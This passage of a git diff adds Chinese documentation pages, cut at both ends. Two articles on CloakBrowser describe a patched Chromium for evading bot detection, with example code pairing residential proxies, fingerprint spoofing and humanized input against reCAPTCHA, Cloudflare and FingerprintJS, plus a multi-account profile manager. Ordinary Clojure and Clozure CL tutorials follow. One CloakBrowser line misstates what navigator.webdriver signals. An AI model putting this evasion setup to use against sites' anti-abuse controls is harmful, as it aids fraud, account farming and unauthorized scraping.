+    CPP["58 处 C++ 源码补丁"]
+    FP["启动时随机但自洽的指纹种子"]
+  end
+  PY --> PW
+  JS --> PW
+  PW --> Binary
+  CLI --> Binary
+```
+
+| 层级 | 职责 |
+|------|------|
+| **定制 Chromium** | 在源码层修改指纹与自动化泄露点，编译成 ~200MB 平台二进制 |
+| **语言封装** | `pip install cloakbrowser` / `npm install cloakbrowser`，首次启动自动下载到 `~/.cloakbrowser/` |
+| **你的业务代码** | 继续用 Playwright/Puppeteer API：`new_page()`、`goto()`、`click()` 等 |
+
+当前主线版本基于 **Chromium 146**（Linux/Windows；macOS 可能略滞后一个 minor）。官方称在 30+ 检测站上验证，包括 reCAPTCHA v3、Cloudflare Turnstile、FingerprintJS、BrowserScan 等。
+
+---
+
+## 为什么需要「源码级」而不是 JS 注入
+
+反爬系统不只查 `navigator.webdriver`，还会交叉验证：
+
+1. **渲染指纹**：Canvas / WebGL / AudioContext 输出是否与声称的 GPU、驱动一致  
+2. **环境一致性**：屏幕分辨率、时区、语言、WebRTC 出口 IP、TLS/JA3 指纹是否互相矛盾  
+3. **自动化协议泄露**：Chrome DevTools Protocol（CDP）流量、输入事件模式、headless 特有 UA  
+4. **行为信号**：鼠标是否走直线、按键是否瞬时完成、滚动是否机械  
+
+传统方案多在 **页面加载后** 用 JavaScript 覆盖属性，或在 **启动参数** 里关 flag。问题是：
+
+- Chrome 小版本更新就破坏注入脚本  
+- 覆盖层本身可被探测（原型链、时序、不一致的二次采样）  
+- 只改 JS 改不了 TLS 栈、网络时序、底层输入管线  
+
+CloakBrowser 把补丁写进 **Chromium 源码再编译**，使「看起来像 Chrome 146 真机」在多层信号上同时成立。官方 README 对比： stock Playwright 的 reCAPTCHA v3 约 **0.1**，CloakBrowser 约 **0.9**（服务端验证）。
+
+---
+
+## 核心概念
+
+### 1. Drop-in replacement（即插即用）
+
+迁移成本刻意压到最低——Python 侧典型 diff：
+
+```diff
+- from playwright.sync_api import sync_playwright
+- pw = sync_playwright().start()
+- browser = pw.chromium.launch()
++ from cloakbrowser import launch
++ browser = launch()
+```
+
+`page.goto()`、`locator()`、`expect()` 等 Playwright 习惯用法保持不变。JavaScript 同理：`import { launch } from 'cloakbrowser'` 替代 `chromium.launch()`。
+
+### 2. 默认隐身，无需手工拼 stealth 参数
+
+二进制启动时会 **自动生成随机指纹种子**，并保证 GPU、屏幕、Canvas、WebGL、字体等字段 **彼此自洽**。不需要再堆 `--disable-blink-features=AutomationControlled` 一类「魔改启动参数」。
+
+### 3. `humanize=True`（行为层拟人）
+
+指纹过关只解决「你是不是浏览器里的机器人」；行为检测还要看「你是不是真人操作」：
+
+- 鼠标沿 Bézier 曲线移动，而非瞬移  
+- 键盘逐字符间隔输入  
+- 滚动带惯性与分段  
+
+一行开关：`launch(humanize=True)`。也可对单次 `click()` 传入 `human_config` 覆盖。
+
+### 4. `geoip=True` + 代理（地理一致性）
+
+若使用住宅代理，仅换 IP 不够——时区、locale、WebRTC 候选地址仍可能暴露数据中心或本地环境。`geoip=True`（需 `pip install cloakbrowser[geoip]`）会据代理出口 IP 对齐时区与语言，并配合 WebRTC IP 伪装。
+
+### 5. 持久化上下文 `launch_persistent_context()`
+
+多账号、需要登录态的场景可用持久化 profile，避免每次无痕窗口触发「隐身模式」类检测；cookies 与 `localStorage` 跨会话保留。
+
+### 6. 不是什么
+
+- **不是 CAPTCHA 打码服务**：目标是让挑战少出现，而不是识别图片  
+- **不内置代理池**：需自备住宅/移动代理；数据中心 IP 仍可能被风控  
+- **不保证违法爬取免责**：技术能力 ≠ 合规许可，请遵守站点 ToS 与当地法律  
+
+---
+
+## 代码示例一：最小可运行（Python）
+
+```python
+from cloakbrowser import launch
+
+# 首次运行会自动下载 Chromium 二进制到 ~/.cloakbrowser/
+browser = launch()
+page = browser.new_page()
+
+page.goto("https://example.com")
+print("标题:", page.title())
+
+browser.close()
+```
+
+与 stock Playwright 的差异仅在 **import 与 launch 入口**；后续 API 心智模型不变。
+
+---
+
+## 代码示例二：对抗强风控站点的推荐配置
+
+对 Cloudflare Turnstile、FingerprintJS、Kasada 等，官方建议组合 **住宅代理 + 有头模式 + 地理对齐 + 行为拟人**：
+
+```python
+from cloakbrowser import launch
+
+browser = launch(
+    proxy="http://user:pass@residential-proxy.example:8080",
+    geoip=True,          # 时区/locale/WebRTC 与代理出口一致
+    headless=False,      # 部分站点仍检测 headless，即使有 C++ 补丁
+    humanize=True,       # 鼠标/键盘/滚动拟人
+)
+
+page = browser.new_page()
+page.goto("https://target-site.example/dashboard", wait_until="networkidle")
+
+# 业务逻辑：填表、点击、抓取
+page.locator("#search").fill("query")
+page.locator("button[type=submit]").click()
+
+browser.close()
+```
+
+SOCKS5 也支持原生 UDP（QUIC/HTTP3 走代理）：`proxy="socks5://user:pass@host:1080"`。
+
+---
+
+## 代码示例三：JavaScript（Playwright 风格）
+
+```javascript
+import { launch } from 'cloakbrowser';
+
+const browser = await launch({
+  headless: false,
+  humanize: true,
+});
+
+const page = await browser.newPage();
+await page.goto('https://example.com');
+console.log(await page.title());
+await browser.close();
+```
+
+若项目已用 **Puppeteer**，可 `import { launch } from 'cloakbrowser/puppeteer'`。注意：官方文档指出 Puppeteer 的 CDP 流量对 **reCAPTCHA Enterprise** 更敏感，强风控场景优先 Playwright 后端。
+
+---
+
+## 代码示例四：Docker 零安装验证
+
+不想先配 Python/Node 环境，可直接跑官方镜像自测：
+
+```bash
+docker run --rm cloakhq/cloakbrowser cloaktest
+```
+
+通过即说明当前平台二进制与基础 stealth 链路正常。
+
+---
+
+## 检测维度对照（理解「过不过」）
+
+| 信号 | Stock Playwright | CloakBrowser（官方数据） |
+|------|------------------|--------------------------|
+| `navigator.webdriver` | `true` | `false` |
+| reCAPTCHA v3 | ~0.1 | ~0.9 |
+| Cloudflare Turnstile | 失败居多 | 非交互/托管型通过 |
+| FingerprintJS bot | 检出 | 通过 |
+| CDP 自动化检测 | 检出 | 未检出 |
+| TLS 指纹 | 与 Chrome 不一致 | 与 Chrome 146 一致 |
+
+单一维度过关不等于无敌：站点可能叠加 **IP 信誉 + 行为 + 业务风控**。工程上应把 CloakBrowser 当作 **浏览器身份层**，代理与节奏控制仍是外层防线。
+
+---
+
+## 与常见方案对比
+
+| 方案 | 补丁层级 | 引擎 | Playwright API | 维护状态（2026） |
+|------|----------|------|----------------|------------------|
+| Playwright 原生 | 无 | Chromium | 原生 | 活跃 |
+| playwright-stealth | JS 注入 | Chromium | 原生 | 易碎、更新慢 |
+| undetected-chromedriver | 配置/驱动层 | Chrome | 否（Selenium） | 易碎 |
+| Camoufox | C++（Firefox） | Firefox | 非原生 | 社区波动 |
+| **CloakBrowser** | **C++ 源码** | **Chromium** | **原生 drop-in** | **活跃** |
+
+选型口诀：**已用 Playwright 且卡在指纹/CDP → 优先试 CloakBrowser**；已是 Firefox 生态或必须 Camoufox 特定能力 → 另议。
+
+---
+
+## 生态集成
+
+README 列举可与 CloakBrowser 配合的框架：**browser-use**、**Crawl4AI**、**Scrapling**、**Stagehand**、**LangChain**、**Selenium** 等。思路都是把「启动浏览器」那一步换成 CloakBrowser 提供的二进制。
+
+另有独立项目 **[CloakBrowser Manager](https://github.com/CloakHQ/CloakBrowser-Manager)**：自托管多账号指纹浏览器（类比 Multilogin / GoLogin），Docker 起服务后通过 noVNC 管理 profile。
+
+---
+
+## 架构深入：58 处补丁大致覆盖什么
+
+官方将补丁归为（非完整列表）：
+
+- **渲染与硬件**：Canvas、WebGL、字体列表、GPU 型号、屏幕参数、存储配额  
+- **网络与隐私**：WebRTC ICE、代理相关时序与 header 泄露、TLS 栈一致性  
+- **自动化痕迹**：`webdriver` 标志、插件列表、`window.chrome`、Headless UA  
+- **输入管线**：CDP 注入的鼠标/键盘事件伪装为真实用户输入  
+- **平台一致**：Linux / Windows / macOS 上相同 API 行为可复现  
+
+封装层还负责：GPG 签名的 release 下载、后台更新、扩展加载 `extension_paths`、与 stock/patchright 后端可选切换（默认 stock Playwright，因二进制已 stealth）。
+
+---
+
+## 学习路径（零基础）
+
+1. **先理解反爬分层**：IP → TLS/指纹 → JS 环境 → 行为 → 业务规则  
+2. **跑通示例一**：确认二进制下载与基本导航  
+3. **读官方 Test Results 表**：知道哪些站测过、哪些仍可能失败  
+4. **按需加 proxy + geoip + humanize**：用示例二对照自己的目标站  
+5. **失败时查 Troubleshooting**：FingerprintJS / Kasada / reCAPTCHA 各有 FAQ  
+6. **生产化**：持久化 profile、日志、合规审查、速率限制  
+
+---
+
+## 常见问题
+
+**Q：换了 CloakBrowser 就能关代理吗？**  
+通常不能。指纹像真浏览器，但 IP 仍是数据中心时，Cloudflare 等仍可能拦截。
+
+**Q：headless 能用吗？**  
+能，但强风控站官方更推荐 `headless=False`。Stealth 补丁减轻 headless 特征，不等于所有站都无感。
+
+**Q：和 Playwright 测试代码怎么共存？**  
+开发期可用环境变量或工厂函数切换 `launch` 来源；CI 里无 GUI 时注意 headed 模式需 xvfb 或 Docker。
+
+**Q：合法吗？**  
+工具中性。爬虫合规取决于目标站 robots/ToS、数据类型与 jurisdiction；仅用于授权测试与自己的系统。
+
+---
+
+## 小结
+
+CloakBrowser 把「过 bot detection」从 **脚本层猫鼠游戏** 变成 **换用定制 Chromium 二进制 + 原有 Playwright 代码**。记住三句话：
+
+1. **源码级补丁**，不是运行时 JS 贴纸  
+2. **`launch()` 替换 `chromium.launch()`**，学习成本极低  
+3. **指纹默认隐身，代理与 `humanize` 按站点加码**  
+
+官网：[cloakbrowser.dev](https://cloakbrowser.dev/) · 仓库：[CloakHQ/CloakBrowser](https://github.com/CloakHQ/CloakBrowser)
diff --git a/src/content/docs/projects/cloakbrowser.md b/src/content/docs/projects/cloakbrowser.md
new file mode 100644
index 000000000..5cec1dd86
--- /dev/null
+++ b/src/content/docs/projects/cloakbrowser.md
@@ -0,0 +1,196 @@
+---
+title: CloakBrowser — 会"隐身"的 Chromium 浏览器
+来源: https://github.com/CloakHQ/CloakBrowser
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# CloakBrowser — 会"隐身"的 Chromium 浏览器
+
+## 日常类比：为什么浏览器会被"认出来"
+
+想象你去一家高级俱乐部。老板认识每一个常客的长相、走路姿势、说话习惯。如果你穿了一身明显从便利店买来的"假西装"，再说话带着生硬的机器腔，老板一眼就能认出你是机器人，直接拦在门外。
+
+普通自动化工具（比如直接用 Playwright 或 Puppeteer）就像这身"假西装"——浏览器看起来是 Chrome，但骨子里到处写着"我是自动化脚本"。比如：
+
+- 告诉服务器"我是人类"（`navigator.webdriver` 变量设为 `true`）
+- 鼠标点击瞬间瞬移（没有真实人类的曲线运动轨迹）
+- 键盘输入一个字不打（一次性填入，不像人打字有停顿）
+- 缺少显卡、字体、插件等硬件信息
+
+CloakBrowser 的做法是：直接改 Chrome 的源代码（C++ 级别），把那些"暴露身份"的特征全部改掉。改完编译出来的浏览器，**就是一台真正的 Chrome**。它不是外挂插件，不是 JS 注入，而是从内核里就"正常"。
+
+## 核心概念
+
+### 1. 源码级补丁（Source-level Patches）
+
+CloakBrowser 对 Chromium 源码做了 58 处修改，覆盖：
+
+- Canvas 指纹、WebGL 指纹、音频指纹
+- 字体列表、GPU 信息、屏幕尺寸
+- WebRTC 泄漏的本地 IP
+- 网络请求的时间特征
+- 自动化信号（如 `navigator.webdriver`）
+
+这些补丁是**编译到二进制文件里**的，不是运行时注入的。所以检测系统看到的，就是一个正常的 Chrome。
+
+### 2. 零配置隐身
+
+默认启动就隐身——每次运行自动生成一个随机"指纹种子"，然后从这个种子派生出 GPU、屏幕分辨率、硬件并发数等所有信息。每次运行都像一个全新访客。
+
+### 3. 行为拟人（Humanize）
+
+光伪装"长相"还不够，行为也要像人。CloakBrowser 提供 `humanize=True` 选项：
+
+| 交互类型 | 默认 | humanize=True |
+|---------|------|--------------|
+| 鼠标移动 | 瞬间瞬移 | 贝塞尔曲线 + 微小偏差 |
+| 点击 | 瞬间 | 有瞄准点 + 按压力度 |
+| 键盘输入 | 一次性填入 | 逐字符打字 + 思考停顿 |
+| 滚动 | 直接跳转 | 加速→巡航→减速 |
+
+### 4. Playwright / Puppeteer 一键替换
+
+API 完全兼容 Playwright，代码几乎不用改——只需替换 `import` 行。
+
+## 代码示例
+
+### 示例一：Python — 基础用法（3 行替换）
+
+把原来的 Playwright 代码改成 CloakBrowser，只需要动两行：
+
+```python
+# 原来的 Playwright 写法
+from playwright.sync_api import sync_playwright
+pw = sync_playwright().start()
+browser = pw.chromium.launch()
+
+# 改成 CloakBrowser，只要改这两行
+from cloakbrowser import launch
+browser = launch()   # 自带隐身，无需额外配置
+
+page = browser.new_page()
+page.goto("https://example.com")
+print(page.title())
+browser.close()
+```
+
+就这么简单——`launch()` 返回的对象和 Playwright 的 `Browser` 完全一样，后续代码一行都不用改。
+
+### 示例二：Python — 拟人行为 + 代理
+
+针对有反爬保护的网站，加上代理和拟人行为：
+
+```python
+from cloakbrowser import launch
+
+browser = launch(
+    proxy="http://user:pass@residential-proxy:8080",  # 使用住宅 IP，非数据中心
+    geoip=True,                                       # 时区/语言自动匹配代理 IP 所在地
+    headless=False,                                   # 某些网站能检测 headless 模式
+    humanize=True,                                    # 开启拟人行为
+    human_preset="careful",                           # "谨慎"模式：更慢、更像真人
+)
+
+page = browser.new_page()
+page.goto("https://protected-site.com")
+
+# 模拟真人打字（逐字符 + 停顿 + 偶尔打错再纠正）
+page.locator("#email").fill("user@example.com")
+
+# 模拟真人鼠标点击（贝塞尔曲线移动 + 瞄准 + 按压）
+page.locator("button[type=submit]").click()
+
+browser.close()
+```
+
+### 示例三：JavaScript (Playwright) — 固定指纹种子
+
+如果你需要反复访问同一个网站，固定指纹种子会让浏览器看起来像"老访客"：
+
+```javascript
+import { launch } from 'cloakbrowser';
+
+const browser = await launch({
+    args: ['--fingerprint=42069'],  // 固定种子 = 固定指纹 = 老访客
+});
+
+const page = await browser.newPage();
+await page.goto('https://example.com');
+console.log(await page.title());
+
+await browser.close();
+```
+
+## 检测对比：CloakBrowser vs 普通 Playwright
+
+| 检测项目 | 普通 Playwright | CloakBrowser |
+|---------|---------------|-------------|
+| reCAPTCHA v3 分数 | 0.1（机器人） | 0.9（人类） |
+| Cloudflare Turnstile | 失败 | 通过 |
+| FingerprintJS 检测 | 被检测 | 通过 |
+| `navigator.webdriver` | `true` | `false` |
+| 插件数量 | 0 | 5（和真实 Chrome 一样） |
+
+## 安装
+
+```bash
+# Python
+pip install cloakbrowser
+
+# Node.js
+npm install cloakbrowser playwright-core
+```
+
+首次运行会自动下载约 200MB 的隐身 Chromium 二进制文件，本地缓存，后续直接复用。也可以 Docker 一键体验：
+
+```bash
+docker run --rm cloakhq/cloakbrowser cloaktest
+```
+
+## 浏览器配置管理器
+
+CloakBrowser 还提供了一个类似 Multilogin / AdsPower 的多账号管理器，支持创建独立的浏览器配置文件（每个配置有独特的指纹、代理和持久会话），通过 Docker 启动后用浏览器管理：
+
+```bash
+docker run -p 8080:8080 -v cloakprofiles:/data cloakhq/cloakbrowser-manager
+```
+
+打开 `http://localhost:8080` 就能创建和管理浏览器配置。
+
+## 技术架构简图
+
+```
+你的代码（Playwright API）
+        │
+        ▼
+CloakBrowser 封装层（Python / JS）
+  → 注入隐身启动参数
+  → humanize 行为补丁
+        │
+        ▼
+自定义编译的 Chromium 二进制
+  → 58 处 C++ 源码级补丁
+  → Canvas / WebGL / Audio / GPU / WebRTC 等指纹全部修改
+        │
+        ▼
+网站反爬系统看到的就是一个普通的 Chrome 浏览器
+```
+
+## 学习要点总结
+
+1. **CloakBrowser 不是插件，不是 JS 注入**，而是改了 Chromium 源码后重新编译的二进制文件
+2. **58 处 C++ 级补丁**，从底层改指纹，检测系统无法区分
+3. **`humanize=True`** 让鼠标、键盘、滚动行为都像真人
+4. **和 Playwright 完全兼容**，只需替换 `launch()` 一行代码
+5. 支持 Python 和 JavaScript（Node.js），支持 Playwright 和 Puppeteer
+6. 首次运行自动下载二进制，无需手动配置
+
+## 进一步了解
+
+- GitHub 仓库: https://github.com/CloakHQ/CloakBrowser
+- PyPI 页面: https://pypi.org/project/cloakbrowser/
+- npm 页面: https://www.npmjs.com/package/cloakbrowser
+- 浏览器管理器: https://github.com/CloakHQ/CloakBrowser-Manager
diff --git a/src/content/docs/projects/clojure.md b/src/content/docs/projects/clojure.md
new file mode 100644
index 000000000..5a27b8093
--- /dev/null
+++ b/src/content/docs/projects/clojure.md
@@ -0,0 +1,261 @@
+---
+title: Clojure — JVM 上的 Lisp
+来源: https://github.com/clojure/clojure
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Clojure** 由 Rich Hickey 在 2007 年发布，是一门运行在 **JVM** 上的 **Lisp 方言**，官方实现托管于 [clojure/clojure](https://github.com/clojure/clojure)。它把 Lisp 的「代码即数据」、宏系统与 JVM 的工业级运行时、Java 生态合二为一；同时默认 **不可变持久化数据结构**、**函数式** 风格，并在需要可变共享状态时提供 **Atom**、**Ref + STM**、**Agent** 等显式机制。
+
+同一语言家族还有 **ClojureScript**（编译到 JavaScript）、**ClojureCLR**（.NET）、**Babashka**（基于 GraalVM 的快速脚本运行时）。本文聚焦 JVM 上的 Clojure 主线。
+
+日常类比：如果把 **Java** 想象成一家**标准化连锁工厂**——每个零件（对象）都有固定模具、改一条生产线要停全线换模（大量可变状态 + 锁）；那 **Clojure** 像是同一工业园里的**乐高创意工坊**：
+
+- **说明书用统一积木语法写**（S 表达式：括号里第一个是「动词」，后面是「名词」），学徒读说明书就是在读积木本身（同像性 / homoiconicity）；
+- **积木块默认焊死不可掰弯**（不可变集合），要「改造型」就拼一套新模型，旧模型仍完整留在架子上（持久化数据结构 + 结构共享）；
+- **设计师边拼边试**（REPL），不必等整车下线才看效果；
+- **缺特殊件就从隔壁 Java 仓库借**（`.` 调用 Java 类与方法），不必自己造轮子；
+- **真要多人同时改同一块白板**（共享可变状态），工坊提供**预约事务板**（STM）或**单人值班便签**（Atom），而不是人人抢一支马克笔乱涂。
+
+Clojure 在 **Datomic**（不可变事实数据库）、**Nubank**（金融科技）、**CircleCI**、**Walmart 部分数据栈** 等场景有生产级应用；在数据管道、配置 DSL、内部工具与「需要 REPL 快速迭代」的团队中仍有一席之地。
+
+## 为什么值得学
+
+零基础或从 Java / Python 转 Clojure，常见收益：
+
+| 痛点（命令式 / 可变 OOP） | Clojure 的应对 |
+|---------------------------|----------------|
+| 共享可变状态导致隐蔽 bug | 默认 **不可变值**；状态变更走显式引用类型 |
+| 改集合怕破坏调用方 | **持久化数据结构**：`conj` / `assoc` 返回新版本，旧版本仍可用 |
+| 编译—运行反馈慢 | **REPL 驱动开发**：函数逐块验证，无需整项目重启 |
+| 已有 Java 资产不愿重写 | **无缝 JVM 互操作**，同一 classpath |
+| 元编程靠字符串模板脆弱 | **宏** 在编译期操作 **数据结构形式的代码** |
+| 多线程加锁易死锁 | **STM**、不可变数据 + **Atom** 等协调模型 |
+
+即使不主力写 Clojure，理解它也有助于掌握 **immutable infrastructure**、**REPL-first DX**、以及 Rich Hickey 关于 **Simple Made Easy**、**The Value of Values** 的设计思想——这些观念已影响 Elixir、Kotlin 集合 API、React 单向数据流等生态。
+
+## 核心概念
+
+### 1. 编译管线：从表单到 JVM 字节码
+
+```
+┌────────────────────────────────────────────────────────────┐
+│  源码 .clj / .cljc（可跨 JVM/JS 共享）                       │
+├────────────────────────────────────────────────────────────┤
+│  Reader：字符 → Clojure 数据（列表、向量、map、符号…）         │
+│  Compiler：数据 → JVM 字节码（无解释器；始终编译后执行）        │
+├────────────────────────────────────────────────────────────┤
+│  运行时：HotSpot + Java 类库 + Clojure 运行时                 │
+└────────────────────────────────────────────────────────────┘
+```
+
+构建与依赖管理常用 **tools.deps**（`deps.edn` + `clojure` CLI）、**Leiningen**，或脚本场景下的 **Babashka**。
+
+### 2. S 表达式与同像性
+
+Clojure 语法极简：代码即 **嵌套列表**。函数调用写作 `(f arg1 arg2)`，而不是 `f(arg1, arg2)`。宏在 **读取之后、求值之前** 把数据结构形式的代码变换成另一段代码——因为代码本身也是数据结构，元编程比「操作字符串」可靠得多。
+
+特殊形式（special forms）如 `def`、`fn`、`if`、`let`、`quote` 由编译器直接处理，不是普通函数。
+
+### 3. 符号、命名空间与 Var
+
+- **符号**（symbol）：如 `map`、`user/name`，标识名称本身；
+- **命名空间**（namespace）：类似模块，`ns` 声明当前文件所在命名空间，`require` 引入其他命名空间；
+- **Var**：命名空间内 **符号 → 值** 的绑定，常用来存放函数与常量。REPL 里 `(def x 7)` 会创建/更新 Var。
+
+### 4. 标量与集合字面量
+
+| 类型 | 字面量示例 | 说明 |
+|------|-----------|------|
+| 数字 | `42`, `3.14`, `22/7` | 支持有理数比 |
+| 字符串 | `"hello"` | UTF-16，与 Java 互操作 |
+| 关键字 | `:status` | 常用于 map 键，自描述 |
+| 列表 | `'(1 2 3)` 或 `(list 1 2 3)` | 链表结构，`conj` 加在头部 |
+| 向量 | `[1 2 3]` | 索引访问 O(log₃₂ n)，`conj` 加在尾部 |
+| Map | `{:a 1 :b 2}` | 不可变关联数组 |
+| Set | `#{1 2 3}` | 不可变集合 |
+
+**序列（seq）** 是统一抽象：`map`、`filter`、`reduce` 等对任何可 `seq` 的东西工作，包括惰性列表（lazy-seq）。
+
+### 5. 函数是一等公民
+
+`define` 用 `defn`；匿名函数用 `fn` 或 **reader macro** `#(+ %1 %2)`。高阶函数是日常写法，循环多用 **递归** 或 **序列变换** 代替 `for` + 可变下标。
+
+```clojure
+(defn square [x] (* x x))
+(map square [1 2 3 4])   ; => (1 4 9 16)
+(filter even? (range 10)) ; => (0 2 4 6 8)
+```
+
+### 6. 不可变与持久化数据结构
+
+「修改」集合实际是 **返回新集合**，旧集合不变；内部通过 **结构共享**（受 Phil Bagwell HAMT 等研究启发）控制拷贝成本。这使多线程下 **随意传递引用** 更安全，也为 **值语义** 的 `=` 与良好 `hash` 打下基础。
+
+```clojure
+(def v1 [1 2 3])
+(def v2 (conj v1 4))
+; v1 仍是 [1 2 3]，v2 是 [1 2 3 4]
+```
+
+### 7. 引用类型：何时需要可变状态
+
+| 机制 | 适用场景 |
+|------|----------|
+| **Atom** | 单线程式 CAS 更新，如计数器、缓存快照 |
+| **Ref** + **STM** | 多个 Ref 协调一致性事务 |
+| **Agent** | 异步、串行化副作用 |
+| **volatile!** | 极简易失字段 |
+
+哲学：**能不用可变就不用**；用了也要 **集中、显式、有协调策略**。
+
+### 8. 多方法与 Protocol
+
+Clojure 用 **`defmulti` / `defmethod`** 实现运行时多态，不必继承 Java 类层次；**`defprotocol`** 类似接口，可对既有类型扩展（含 Java 类），类似 Scala 的 implicit class 或 Haskell type class 的实用子集。
+
+### 9. JVM 互操作
+
+```clojure
+(. Math pow 2 10)           ; 静态方法
+(.substring "hello" 1)      ; 实例方法，目标放第一个参数
+(import '[java.time LocalDate])
+(LocalDate/now)
+```
+
+类型提示（`^String x`）可减少反射、提升性能；但动态 REPL 开发时常省略，先跑通再优化。
+
+### 10. REPL 驱动开发
+
+REPL（Read-Eval-Print Loop）不是玩具控制台，而是 **完整语言运行时**：可 `require` 库、`defn` 函数、用 `doc` / `source` / `apropos` 查文档。Calva（VS Code）、CIDER（Emacs）、Cursive（IntelliJ）把 REPL 嵌进编辑器，形成 **评估当前表单—看结果—继续改** 的微循环。
+
+## 代码示例一：订单流水与积分（不可变管道）
+
+用向量与 map 模拟用户积分变更，展示 `update-in`、`assoc` 与 `reduce`：
+
+```clojure
+(defn apply-event [users {:keys [user-id delta]}]
+  (if-let [u (get users user-id)]
+  (update users user-id #(update % :points + delta))
+  users))
+
+(defn apply-events [users events]
+  (reduce apply-event users events))
+
+(def users
+  {1 {:name "Ada"   :points 100}
+   2 {:name "Grace" :points 50}})
+
+(def events
+  [{:user-id 1 :delta 10}
+   {:user-id 2 :delta -5}
+   {:user-id 1 :delta 5}])
+
+(def result (apply-events users events))
+(get-in result [1 :points]) ; => 115
+(get-in result [2 :points]) ; => 45
+```
+
+要点：全程没有 `setPoints` 式突变；`users` 在每次 `reduce` 步骤绑定到新 map。若把 `users` 存进 **Atom**，可用 `(swap! users apply-events events)` 做线程安全更新。
+
+## 代码示例二：多方法分发 + Java 互操作
+
+按支付方式计算手续费，并调用 Java 的 `BigDecimal` 保证金额精度：
+
+```clojure
+(ns billing.core
+  (:import [java.math BigDecimal RoundingMode]))
+
+(defmulti fee :method)
+
+(defmethod fee :card [_] 0.029M)
+(defmethod fee :wallet [_] 0.015M)
+(defmethod fee :default [_] 0.0M)
+
+(defn charge [method amount]
+  (let [rate (fee {:method method})
+        amt  (BigDecimal/valueOf (double amount))
+        mult (.multiply amt (BigDecimal. (str rate)))
+        fee  (.setScale mult 2 RoundingMode/HALF_UP)]
+    (.add amt fee)))
+
+(charge :card 100.0)   ; => 102.90M（示意，具体精度依 rate 而定）
+(charge :wallet 100.0)
+```
+
+要点：`defmulti` 按 map 的 `:method` 键分发；`BigDecimal` 来自 Java，Clojure 数字字面量后的 `M` 表示 `BigDecimal`。生产环境可把金额建模为专门类型，避免 `double` 误差。
+
+## 工具链与环境
+
+| 工具 | 用途 |
+|------|------|
+| **Clojure CLI** + `deps.edn` | 官方推荐依赖与启动方式，`clojure -M -m my.ns` |
+| **Leiningen** | 老牌构建工具，`lein new`、`lein repl` |
+| **Babashka** | GraalVM 原生镜像，启动极快，适合 CLI 与 CI 脚本 |
+| **Calva / CIDER / Cursive** | 编辑器 + 结构化编辑（paredit 风格）+ REPL |
+| **[clojure.org](https://clojure.org/)** | 官方指南、API、REPL 教程 |
+| **clojure.tools.logging** | 日志门面，底层可接 Logback |
+
+快速体验（需安装 JDK 11+ 与 [Clojure CLI](https://clojure.org/guides/install_clojure)）：
+
+```bash
+clojure
+```
+
+进入 REPL 后：
+
+```clojure
+(+ 1 2)
+(doc map)
+(require '[clojure.string :as str])
+(str/join ", " ["a" "b" "c"])
+```
+
+用 `deps.edn` 创建最小项目：
+
+```edn
+{:paths ["src"]
+ :deps {org.clojure/clojure {:mvn/version "1.12.0"}}}
+```
+
+```bash
+mkdir -p src/myapp
+# src/myapp/core.clj 中 (ns myapp.core) 与 (-main ...)
+clojure -M -m myapp.core
+```
+
+## 学习路径建议
+
+1. **语法与 REPL**：[Programming at the REPL](https://clojure.org/guides/repl/introduction_to_repl) — 学会 `defn`、`let`、`if`、`loop`/`recur`、查 `doc`。
+2. **集合与序列**：`map` / `filter` / `reduce` / `into` / `comp`；理解 **惰性** `lazy-seq`。
+3. **命名空间与 deps**：`ns` 表单、`require`、`:as`、`:refer`；读懂 `deps.edn`。
+4. **状态模型**：Atom 与 `swap!`；需要时学 STM 与 Ref（[Refs and Transactions](https://clojure.org/reference/refs)）。
+5. **互操作**：读 Java 库 Javadoc，用 `import` 与 `gen-class`（少用）桥接。
+6. **宏（进阶）**：先熟练数据结构变换，再读 `defmacro` 与 syntax-quote。
+7. **选方向**：
+   - Web → **Ring**、**Compojure**、**Reitit**、**Pedestal**
+   - 前端 → **ClojureScript** + **re-frame** / **shadow-cljs**
+   - 数据 → **core.async**、Kafka 客户端、**Datomic**（若接触 Cognitect 栈）
+   - 脚本 → **Babashka**
+
+与 [[openjdk]] 对照：Clojure 编译为 JVM 字节码，GC 与 JIT 仍由 HotSpot 负责。与 [[scala]] 对比：两者都强调 FP 与 JVM；Clojure **更动态、REPL 中心、语法更统一（Lisp）**，Scala **静态类型更强、与 Java OOP 融合更深**。与 [[kotlin]] 对比：Kotlin 偏 **工业应用开发与 Android**；Clojure 偏 **数据导向、DSL、REPL 探索**。
+
+## 常见误区
+
+- **「括号太多看不懂」** — 用编辑器 **结构性编辑**（Slurp / Barf）把括号当 XML 标签；缩进对齐后可读性与 Python 同级。
+- **「不可变一定很慢」** — 持久化结构 + 结构共享使多数业务场景足够快；热点可用 **transient** 局部可变构建再冻结。
+- **「Lisp 只能学术玩」** — Clojure 在金融科技、CI、数据系统有长期生产部署；关键是团队是否接受 **REPL + 动态** 工作流。
+- **「有 STM 就可以到处共享可变状态」** — STM 有开销与使用约束；仍应优先不可变与明确边界。
+- **「宏万能，一上来就写」** — 宏增加间接层；能用函数解决的不要上宏（Clojure 社区共识）。
+- **忽略 Java 基础** — 排错、性能分析、依赖冲突仍在 JVM 层；需会读 stack trace 与用 `jvisualvm` 等工具。
+
+## 延伸阅读
+
+- 官方仓库：[github.com/clojure/clojure](https://github.com/clojure/clojure)
+- 设计 rationale：[clojure.org/about/rationale](https://clojure.org/about/rationale)
+- Rich Hickey — **Simple Made Easy**、**The Value of Values**（演讲，理解设计哲学）
+- 书籍：*Clojure for the Brave and True*（免费在线）、*Programming Clojure*（Pragmatic）
+- 数据结构参考：[clojure.org/reference/data_structures](https://clojure.org/reference/data_structures)
+- 本库相关笔记：[[openjdk]]（JVM 底座）、[[scala]]、[[kotlin]]（同 JVM 现代语言对照）、[[graalvm]]（Babashka 运行时）
diff --git a/src/content/docs/projects/clozure-cl.md b/src/content/docs/projects/clozure-cl.md
new file mode 100644
index 000000000..a1e9802fb
--- /dev/null
+++ b/src/content/docs/projects/clozure-cl.md
@@ -0,0 +1,232 @@
+---
+title: Clozure CL — 苹果系 Common Lisp
+来源: https://github.com/Clozure/ccl
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Clozure CL — 苹果系 Common Lisp
+
+## 一、CCL 是什么？
+
+Clozure CL（简称 CCL）是一套免费的 Common Lisp 实现。它最早源自 1990 年代 Apple 公司开发的 Macintosh Common Lisp（MCL），1998 年从 MCL 分支出来，最初叫 OpenMCL，后来改名为 Clozure CL。
